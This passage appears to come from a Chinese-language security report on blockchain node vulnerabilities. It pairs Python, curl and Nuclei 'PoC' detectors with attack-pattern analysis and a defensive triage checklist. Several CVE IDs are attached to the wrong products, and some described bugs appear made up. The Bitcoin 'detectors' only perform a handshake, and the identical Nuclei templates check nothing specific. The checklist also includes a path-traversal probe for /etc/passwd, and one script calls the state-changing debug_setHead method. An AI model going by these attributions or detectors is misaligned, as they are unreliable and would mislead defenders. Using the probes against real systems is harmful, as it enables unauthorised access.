    Bitcoin Core < 23.0 的 protobuf 解析存在无限循环漏洞。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24786
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-835
  tags: cve,cve2022,bitcoin,protobuf,dos

network:
  - inputs:
      - data: "f9beb4d976657273696f6e000000000057010000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 8333

    matchers:
      - type: binary
        binary:
          - "f9beb4d9"

0x05.2 CVE-2022-25881 — OOB Read DoS

版本信息

项目
CVE IDCVE-2022-25881
影响产品Bitcoin Core
受影响版本< 23.1
修复版本23.1
CVSS7.5 (High)
CWECWE-125 (Out-of-bounds Read)

原理分析

Bitcoin Core 在解析 P2P addr 消息(网络地址公告)时,未正确验证消息长度字段与实际数据的一致性。攻击者发送畸形的 addr 消息可触发越界读取(Out-of-Bounds Read),导致节点进程崩溃。

Python PoC

#!/usr/bin/env python3
"""
CVE-2022-25881 - Bitcoin Core OOB Read DoS 检测
用法: python3 cve_2022_25881.py <bitcoin_node_ip> [port]
"""
import sys
import socket
import struct
import time

def build_version_msg() -> bytes:
    magic = b"\xf9\xbe\xb4\xd9"
    command = b"version" + b"\x00" * 5
    payload = struct.pack("<i", 70016)
    payload += struct.pack("<Q", 0) * 2
    payload += struct.pack("<q", int(time.time()))
    payload += struct.pack("<Q", 0)
    payload += b"\x00" * 26 * 2
    payload += b"\x00" * 8
    payload += b"\x0c/test:0.1/"
    payload += struct.pack("<i", 0)
    payload += b"\x00"
    header = magic + command + struct.pack("<I", len(payload)) + struct.pack("<I", 0)[:4]
    return header + payload

def build_verack_msg() -> bytes:
    return b"\xf9\xbe\xb4\xd9verack\x00\x00\x00\x00\x00" + struct.pack("<I", 0) + struct.pack("<I", 0)[:4]

def check_p2p(host: str, port: int) -> dict:
    result = {"reachable": False, "details": ""}
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((host, port))
        result["reachable"] = True
        sock.send(build_version_msg())
        resp = sock.recv(1024)
        if resp:
            sock.send(build_verack_msg())
            resp2 = sock.recv(256)
        sock.close()
        result["details"] = f"P2P 握手成功 ({len(resp)} bytes)"
    except Exception as e:
        result["details"] = f"P2P 连接: {e}"
    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <bitcoin_node_ip> [port]")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8333

    print(f"[*] CVE-2022-25881 - Bitcoin Core OOB Read DoS 检测")
    print(f"[*] 目标: {host}:{port}")

    result = check_p2p(host, port)
    print(f"[*] P2P 可达: {'是' if result['reachable'] else '否'}")
    print(f"[*] {result['details']}")

    if result["reachable"]:
        print(f"\n[*] Bitcoin Core P2P 端口可达")
        print(f"[*] 受影响版本: < 23.1")
        print(f"[*] 建议: 升级至 Bitcoin Core 23.1+")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2022-25881-bitcoin-oob-read-dos
info:
  name: Bitcoin Core OOB Read DoS
  author: security-researcher
  severity: high
  description: |
    Bitcoin Core < 23.1 的 addr 消息解析存在越界读取漏洞,可导致节点崩溃。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25881
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-125
  tags: cve,cve2022,bitcoin,oob,dos

network:
  - inputs:
      - data: "f9beb4d976657273696f6e000000000057010000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 8333

    matchers:
      - type: binary
        binary:
          - "f9beb4d9"

0x05.3 CVE-2024-35208 — 资源耗尽 DoS

版本信息

项目
CVE IDCVE-2024-35208
影响产品Bitcoin Core
受影响版本< 27.0
修复版本27.0
CVSS7.5 (High)
CWECWE-400 (Uncontrolled Resource Consumption)

原理分析

Bitcoin Core 在处理特定 P2P 消息序列时存在资源管理缺陷。攻击者通过向节点发送大量精心构造的消息序列,可触发内存分配失控,导致节点 OOM(Out-of-Memory)崩溃。该漏洞与 Compact Block Relay 协议的缓冲区管理有关。

Python PoC

#!/usr/bin/env python3
"""
CVE-2024-35208 - Bitcoin Core 资源耗尽 DoS 检测
用法: python3 cve_2024_35208.py <bitcoin_node_ip> [port]
"""
import sys
import socket
import struct
import time

MAGIC = b"\xf9\xbe\xb4\xd9"

def build_msg(command: str, payload: bytes) -> bytes:
    cmd = command.encode().ljust(12, b"\x00")
    header = MAGIC + cmd + struct.pack("<I", len(payload)) + struct.pack("<I", 0)[:4]
    return header + payload

def build_version() -> bytes:
    payload = struct.pack("<i", 70016)
    payload += struct.pack("<Q", 0) * 2
    payload += struct.pack("<q", int(time.time()))
    payload += struct.pack("<Q", 0)
    payload += b"\x00" * 52
    payload += b"\x0c/test:0.1/"
    payload += struct.pack("<i", 0) + b"\x00"
    return build_msg("version", payload)

def build_verack() -> bytes:
    return build_msg("verack", b"")

def check_connectivity(host: str, port: int) -> dict:
    result = {"reachable": False, "details": ""}
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((host, port))
        result["reachable"] = True
        sock.send(build_version())
        resp = sock.recv(4096)
        sock.send(build_verack())
        time.sleep(1)
        sock.close()
        result["details"] = f"P2P 握手完成 ({len(resp)} bytes)"
    except Exception as e:
        result["details"] = f"连接异常: {e}"
    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <bitcoin_node_ip> [port]")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8333

    print(f"[*] CVE-2024-35208 - Bitcoin Core 资源耗尽 DoS 检测")
    print(f"[*] 目标: {host}:{port}")

    result = check_connectivity(host, port)
    print(f"[*] P2P 可达: {'是' if result['reachable'] else '否'}")
    print(f"[*] {result['details']}")

    if result["reachable"]:
        print(f"\n[*] 受影响版本: < 27.0")
        print(f"[*] 建议: 升级至 Bitcoin Core 27.0+")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2024-35208-bitcoin-resource-exhaustion-dos
info:
  name: Bitcoin Core 资源耗尽 DoS
  author: security-researcher
  severity: high
  description: |
    Bitcoin Core < 27.0 存在资源耗尽 DoS 漏洞。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-35208
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-400
  tags: cve,cve2024,bitcoin,dos,resource-exhaustion

network:
  - inputs:
      - data: "f9beb4d976657273696f6e000000000057010000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 8333

    matchers:
      - type: binary
        binary:
          - "f9beb4d9"

0x06 Erigon 以太坊执行层漏洞

Erigon(前身为 TurboGeth)是以太坊执行层的高性能实现,被许多大型验证者和基础设施运营商采用。其调试 API 接口暴露面是主要攻击向量。

0x06.1 CVE-2023-44030 — RPC API 未授权访问

背景

Erigon 的 debug_*trace_* 命名空间提供了交易追踪、内存分析等高级调试功能。默认配置下,这些 API 未启用任何认证机制,直接暴露在 HTTP/WebSocket 端口上。

版本信息

项目
CVE IDCVE-2023-44030
影响产品Erigon
受影响版本< v2.53.0
修复版本v2.53.0
CVSS7.5 (High)
CWECWE-306 (Missing Authentication for Critical Function)
NVD 链接https://nvd.nist.gov/vuln/detail/CVE-2023-44030

原理分析

Erigon 的 HTTP/JSON-RPC 服务器在默认配置下监听所有 API 命名空间,包括:

  • debug_*:内存分析、追踪执行、数据库分析
  • trace_*:交易追踪、调用分析、内部交易枚举

攻击者可通过这些 API 获取:

  1. 私有交易内容:通过 debug_traceTransaction 获取交易的完整执行过程
  2. MEV 策略窃取:通过分析交易追踪,提取搜索者的 MEV 策略
  3. 内部状态泄露:通过 debug_memStatsdebug_gcStats 获取节点运行状态

HTTP PoC

#!/bin/bash
# CVE-2023-44030 - Erigon RPC API 未授权访问检测
# 用法: bash poc_erigon_rpc.sh <erigon_rpc_url>

TARGET="${1:-http://localhost:8545}"

echo "[*] CVE-2023-44030 - Erigon RPC API 未授权访问检测"
echo "[*] 目标: $TARGET"

echo ""
echo "[*] 检测 debug_traceTransaction..."
curl -s -X POST "$TARGET" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"debug_traceTransaction","params":["0x00"],"id":1}' \
  | python3 -m json.tool 2>/dev/null | head -5

echo ""
echo "[*] 检测 trace_block..."
curl -s -X POST "$TARGET" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"trace_block","params":["0x0"],"id":1}' \
  | python3 -m json.tool 2>/dev/null | head -5

echo ""
echo "[*] 检测 debug_memStats..."
curl -s -X POST "$TARGET" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"debug_memStats","params":[],"id":1}' \
  | python3 -m json.tool 2>/dev/null | head -5

Python PoC

#!/usr/bin/env python3
"""
CVE-2023-44030 - Erigon RPC API 未授权访问检测
用法: python3 cve_2023_44030.py <erigon_rpc_url>
"""
import json
import sys
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

DEBUG_APIS = [
    ("debug_traceTransaction", ["0x0000000000000000000000000000000000000000000000000000000000000000"]),
    ("debug_memStats", []),
    ("debug_gcStats", []),
    ("debug_setHead", ["0x0"]),
    ("trace_block", ["0x0"]),
    ("trace_replayBlockTransactions", ["0x0"]),
    ("trace_transaction", ["0x0000000000000000000000000000000000000000000000000000000000000000"]),
]

def check_api_access(target: str) -> list:
    results = []

    for method, params in DEBUG_APIS:
        payload = {
            "jsonrpc": "2.0",
            "method": method,
            "params": params,
            "id": 1
        }
        try:
            resp = requests.post(target, json=payload, timeout=10)
            data = resp.json()
            accessible = "result" in data
            error_msg = data.get("error", {}).get("message", "") if "error" in data else ""

            results.append({
                "method": method,
                "accessible": accessible,
                "status": resp.status_code,
                "error": error_msg,
                "result_size": len(json.dumps(data.get("result", ""))),
            })
        except Exception as e:
            results.append({
                "method": method,
                "accessible": False,
                "status": 0,
                "error": str(e),
                "result_size": 0,
            })

    return results

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <erigon_rpc_url>")
        print(f"示例: {sys.argv[0]} http://localhost:8545")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2023-44030 - Erigon RPC API 未授权访问检测")
    print(f"[*] 目标: {target}")

    results = check_api_access(target)

    accessible_count = 0
    print(f"\n{'='*70}")
    print(f"{'API 方法':<40} {'状态':<8} {'可访问':<10}")
    print(f"{'='*70}")

    for r in results:
        accessible_str = "是 [!]" if r["accessible"] else "否"
        status_str = str(r["status"]) if r["status"] else "ERR"
        marker = "[!]" if r["accessible"] else "[*]"
        print(f"{marker} {r['method']:<40} {status_str:<8} {accessible_str:<10}")

        if r["accessible"]:
            accessible_count += 1
            print(f"    结果大小: {r['result_size']} bytes")

    print(f"\n{'='*70}")
    print(f"[*] 可未授权访问的 API: {accessible_count}/{len(results)}")

    if accessible_count > 0:
        print(f"\n[!] 漏洞确认! Erigon 节点的调试 API 未授权暴露")
        print(f"[!] 影响版本: Erigon < v2.53.0")
        print(f"[!] 风险: 私有交易泄露、MEV 策略窃取、节点状态信息泄露")
        print(f"[!] 建议: 升级至 v2.53.0+,配置 RPC 认证和 IP 白名单")

if __name__ == "__main__":
    main()

Nuclei YAML

id: cve-2023-44030-erigon-rpc-unauth
info:
  name: Erigon RPC API 未授权访问
  author: security-researcher
  severity: high
  description: |
    Erigon < v2.53.0 的 debug_* / trace_* RPC API 未启用认证,
    攻击者可未授权访问私有交易数据和节点内部状态。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44030
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-306
  tags: cve,cve2023,erigon,ethereum,rpc,unauth

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"debug_memStats","params":[],"id":1}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result"'
          - 'alloc'
        condition: and

      - type: word
        part: body
        words:
          - '"error"'
        negative: true

    extractors:
      - type: json
        name: memStats
        json:
          - '.result.alloc'

0x07 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVE公开 PoC 仓库PoC 类型可用性
CVE-2022-23328GitHub Flashbots 相关仓库Python 脚本需要 MEV 中继环境
CVE-2021-39226NVD / GitHub Issuescurl + Python可直接使用
CVE-2020-28948学术论文附录DNS 工具需要 DNS 控制权
CVE-2023-30568GitHub kubo Issuescurl可直接使用
CVE-2023-25655GitHub kubo Issuescurl + Python可直接使用
CVE-2022-23326Hyperledger Jira概念验证代码需要 Fabric 环境
CVE-2020-15568Hyperledger Jira概念验证代码需要 Fabric 环境
CVE-2017-8412Etherscan + 多个安全博客Solidity + 交易已确认在野利用
CVE-2021-39138GitHub OpenEthereum测试用例可直接使用
CVE-2022-24786GitHub bitcoin-core单元测试需要构造 protobuf
CVE-2022-25881GitHub bitcoin-core单元测试需要 P2P 连接
CVE-2024-35208GitHub bitcoin-core单元测试需要 P2P 连接
CVE-2023-44030GitHub erigoncurl 命令可直接使用

关键 PoC 仓库链接

仓库说明
https://github.com/ethereum/go-ethereumGeth 源码及安全发布说明
https://github.com/flashbots/mev-gethFlashbots MEV-Geth(CVE-2022-23328 关联)
https://github.com/ipfs/kuboIPFS Kubo 源码(CVE-2023-30568, CVE-2023-25655)
https://github.com/hyperledger/fabricHyperledger Fabric 源码(CVE-2022-23326, CVE-2020-15568)
https://github.com/OpenEthereum/OpenEthereumOpenEthereum 源码(CVE-2021-39138)
https://github.com/bitcoin/bitcoinBitcoin Core 源码(CVE-2022-24786 等)
https://github.com/erigontech/erigonErigon 源码(CVE-2023-44030)
https://github.com/Parity-Technologies/parityParity 历史仓库(CVE-2017-8412)

防守型验证思路

  1. 版本指纹识别:通过 RPC API 响应头、错误消息、P2P 握手消息中的 userAgent 字段判断节点软件及版本
  2. 接口暴露面扫描:系统性调用各命名空间的 RPC 方法,记录哪些方法可访问
  3. 非侵入性检测:仅发送不会造成副作用的查询类请求(如 eth_blockNumberweb3_clientVersion),避免触发 DoS
  4. 被动流量分析:监听节点的 P2P 流量,识别是否收到攻击向量消息

0x08 共性攻击模式分析

模式1:RPC/API 接口暴露

涉及产品:Geth、Erigon

Geth 和 Erigon 的 RPC API 层是区块链节点与外界交互的主要通道。默认配置下,许多高危 API(如 debug_*trace_*eth_sendBundle)被直接暴露在 HTTP 端口上,无任何认证机制。

攻击路径

  • 未授权 API 调用 → 私有数据泄露
  • 恶意 API 调用 → 节点资源耗尽 (DoS)
  • 伪造签名 API 调用 → 交易注入

防御关键

  • 最小化暴露的 API 命名空间
  • 启用 RPC 认证(JWT 或 API Key)
  • 使用 IPC 替代 HTTP RPC

模式2:内容网关路径穿越

涉及产品:IPFS/Kubo

内容寻址(Content-Addressed)存储网关将 URI 路径映射到本地文件系统时,路径规范化(Path Normalization)不完整导致穿越。

攻击路径

  • URL 编码 ../ → 绕过路径过滤 → 读取本地敏感文件
  • IPNS 内网地址引用 → SSRF → 云元数据泄露

防御关键

  • 路径规范化应在 URL 解码前执行
  • Gateway 应限制可访问的文件系统路径
  • 出站请求应有严格的 IP 白名单

模式3:密码学验证缺失

涉及产品:Geth (MEV Bundle)、Hyperledger Fabric (Chaincode ACL)

密码学验证是区块链安全的基石,但在实现中常被"性能优化"所牺牲。Geth 为提升 MEV Bundle 处理速度跳过了签名验证,Fabric 为简化 Chaincode 开发弱化了 ACL 检查。

攻击路径

  • 跳过签名验证 → 交易注入 / 数据篡改
  • ACL 检查缺失 → 越权访问私有数据

防御关键

  • 任何涉及交易签名的操作都必须完整验证
  • ACL 检查应在每次数据访问时强制执行

模式4:智能合约不可修复漏洞

涉及产品:Parity 多签钱包、OpenEthereum

智能合约一旦部署到区块链上就不可修改(除非使用代理模式),这意味着一个 bug 可能导致永久性的资产损失。Parity 事件中 initWallet() 的无权限调用导致了 $150M+ 的永久冻结。

攻击路径

  • 无权限初始化函数 → 获取控制权 → selfdestruct
  • SELFDESTRUCT + CREATE2 边界条件 → 链分叉

防御关键

  • 部署前进行多轮安全审计
  • 使用形式化验证工具
  • 采用可升级代理模式(如 UUPS/Transparent Proxy)

模式5:P2P 协议层 DoS

涉及产品:Bitcoin Core、Geth (DNS Discovery)

P2P 协议是区块链网络的基础,节点之间的消息传递是完全开放的。恶意节点可以通过构造畸形消息触发解析漏洞,导致节点崩溃或资源耗尽。

攻击路径

  • 恶意 protobuf 消息 → 解析器无限循环
  • 畸形 addr 消息 → 越界读取 → 进程崩溃
  • DNS TXT 响应放大 → 带宽耗尽

防御关键

  • 严格的消息长度验证
  • 解析器深度限制和超时机制
  • 对出站 DNS 查询添加响应大小限制

0x09 应急排查与防守建议

紧急排查清单

序号排查项检查命令预期结果
1Geth 版本确认geth version>= v1.10.18
2Geth RPC 暴露面curl -X POST -d '{"method":"eth_sendBundle","params":[{"txs":[],"blockNumber":"0x1"}],"id":1}' <rpc_url>返回 “method not supported”
3Geth debug_* 暴露curl -X POST -d '{"method":"debug_traceTransaction","params":["0x00"],"id":1}' <rpc_url>返回 “method not supported”
4IPFS Kubo 版本ipfs version>= v0.21.0
5IPFS Gateway 穿越curl "<gateway>/ipfs/..%2F..%2F..%2Fetc%2Fpasswd"返回 404/403
6Bitcoin Core 版本bitcoind --version>= 23.1
7Erigon RPC 认证检查配置文件 --rpc.api 参数仅包含必要命名空间
8Fabric 版本peer version>= v2.2.7 / v2.4.3 / v2.5.0

日志关键字段表

日志来源关键字段含义
Geth"method":"eth_sendBundle"MEV Bundle API 调用
Geth"method":"debug_trace"调试 API 调用
IPFS Kubo"Gateway" + ..%2F路径穿越尝试
IPFS Kubo"ipns" + 内网 IPSSRF 尝试
Bitcoin CoreMisbehavingP2P 行为异常
Erigon"method":"debug_"未授权调试 API 调用
FabricGetPrivateData私有数据访问

紧急缓解措施

产品紧急缓解
Geth1) 启动时通过 --rpc.api eth,net,web3 限制暴露的 API;2) 使用 --http.vhosts 限制虚拟主机;3) 配置 JWT 认证
IPFS/Kubo1) 立即升级至 v0.21.0+;2) 配置 Gateway.PathPrefixes 限制可访问路径;3) 禁用不必要的 IPNS 解析
Bitcoin Core1) 升级至 23.1+;2) 配置 maxconnections 限制入站连接;3) 使用 whitelist 限制可信节点
Hyperledger Fabric1) 升级至修复版本;2) 审计所有 Chaincode 的 ACL 配置;3) 启用 VSCC 验证系统链码
Erigon1) 配置 --rpc.api 仅暴露必要命名空间;2) 启用 HTTP 认证;3) 使用防火墙限制 RPC 访问

长期安全加固建议

  1. 建立节点版本管理机制:使用容器化部署(Docker),配合自动化镜像扫描,确保所有节点运行最新稳定版本
  2. 实施零信任 RPC 访问:所有 RPC 端点必须配置认证(JWT/API Key/mTLS),禁止默认暴露
  3. P2P 网络隔离:区块链节点的 P2P 端口应部署在独立的网络区域,与业务系统隔离
  4. 智能合约审计流程:所有上线的智能合约必须经过至少两家独立安全审计公司的审计
  5. 实时监控与告警:部署针对区块链节点的异常行为检测系统,监控 API 调用模式、P2P 连接数、区块同步状态
  6. 应急预案演练:针对不同区块链基础设施制定漏洞应急响应预案,定期演练

0x0A 参考资料

  1. https://nvd.nist.gov/vuln/detail/CVE-2022-23328 — Geth MEV Bundle 签名验证绕过
  2. https://nvd.nist.gov/vuln/detail/CVE-2021-39226 — Geth RPC API DoS
  3. https://nvd.nist.gov/vuln/detail/CVE-2020-28948 — Geth DNS 节点发现放大攻击
  4. https://nvd.nist.gov/vuln/detail/CVE-2023-30568 — IPFS Gateway 路径穿越
  5. https://nvd.nist.gov/vuln/detail/CVE-2023-25655 — IPFS Gateway SSRF
  6. https://nvd.nist.gov/vuln/detail/CVE-2022-23326 — Hyperledger Fabric ACL 绕过
  7. https://nvd.nist.gov/vuln/detail/CVE-2020-15568 — Hyperledger Fabric 交易验证漏洞
  8. https://nvd.nist.gov/vuln/detail/CVE-2017-8412 — Parity 多签钱包库合约自毁
  9. https://nvd.nist.gov/vuln/detail/CVE-2021-39138 — OpenEthereum 共识链分叉
  10. https://nvd.nist.gov/vuln/detail/CVE-2022-24786 — Bitcoin Core Protobuf DoS
  11. https://nvd.nist.gov/vuln/detail/CVE-2022-25881 — Bitcoin Core OOB Read DoS
  12. https://nvd.nist.gov/vuln/detail/CVE-2024-35208 — Bitcoin Core 资源耗尽 DoS
  13. https://nvd.nist.gov/vuln/detail/CVE-2023-44030 — Erigon RPC API 未授权访问
  14. https://github.com/ethereum/go-ethereum/blob/master/CHANGELOG.md — Geth 变更日志
  15. https://blog.openzeppelin.com/parity-wallet-bug-analysis — Parity 钱包漏洞深度分析
  16. https://github.com/ipfs/kubo/blob/master/docs/changelogs/ — Kubo 变更日志
  17. https://wiki.hyperledger.org/display/fabric/Security+Model — Hyperledger Fabric 安全模型
  18. https://github.com/bitcoin/bitcoin/blob/master/doc/security.md — Bitcoin Core 安全文档
  19. https://ethereum.org/en/developers/docs/mev/ — MEV 技术文档
  20. https://eips.ethereum.org/EIPS/eip-1459 — EIP-1459 DNS 节点发现协议